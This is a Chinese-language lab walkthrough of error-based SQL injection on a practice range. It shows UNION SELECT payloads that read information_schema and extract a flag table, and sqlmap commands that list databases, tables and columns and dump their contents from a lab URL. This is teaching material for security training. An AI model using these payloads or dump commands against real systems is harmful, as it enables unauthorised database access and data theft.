SQL注入
SQL注入攻击的本质就是把用户输入的语句当做代码执行
SQL注入分为两类:数字型和字符型
列如:
数字型:select * from table where id=1~n
字符型:select * from table where id=‘1~n’
GET基于报错的SQL注入
通过在URL中修改对应的id值,为正常的数字,大数字,字符(单引号,双引号,双单引号,括号)反斜杠\来探测URL中是否存在注入点。
靶场显错注入第一题做法
首先查看是否存在注入
可以使用古老的方法 and 1=1 1=2 不过容易被拦截
这里使用and -1=-1 -1=-2 查看是否存在注入点。
and -1=-1 页面正常
and -1=-2 报错,证明与数据库进行了交互,所以存在sql注入
查看字段数
使用order by
这里order by 2,3页面正常,order by 4页面报错证明存在3个字段
查看输出点
使用union select
union select 1,2,3(因为3个字段所以我们联合查询的字段也要相同)
可以看到输出点在2,3
可以在数据点查看当前数据库名和版本database(),version();
当前数据库库名为error
通过系统自带库查询表名
Mysql在5.0以上版本加入了 information_schema 这个系统自带库 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等
union select 1,2,table_name from information_schema.tables where table_schema='error’查询指定数据库里的表名
可以使用limit分页单条输出,也可以使用GROUP_CONCAT一起输出,但有时候输出不完整。
通过系统自带库查询字段名
union select 1,2,column_name from information_schema.columns where table_name=‘error_flag’
这里查询我们想要的error_flag表,查询到里面有一个flag字段
查询里面的数据拿到flag
使用sqlmap的做法
python sqlmap.py -u “http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1(存在注入点的url)” --dbs --batch
这样就跑出了库名
查表名
python sqlmap.py -u “http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1” -D error --tables
查字段
python sqlmap.py -u “http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1” -D error --tables -T error_flag --columns
查看面的数据拿到flag
python sqlmap.py -u “http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1” -D error -C flag --dump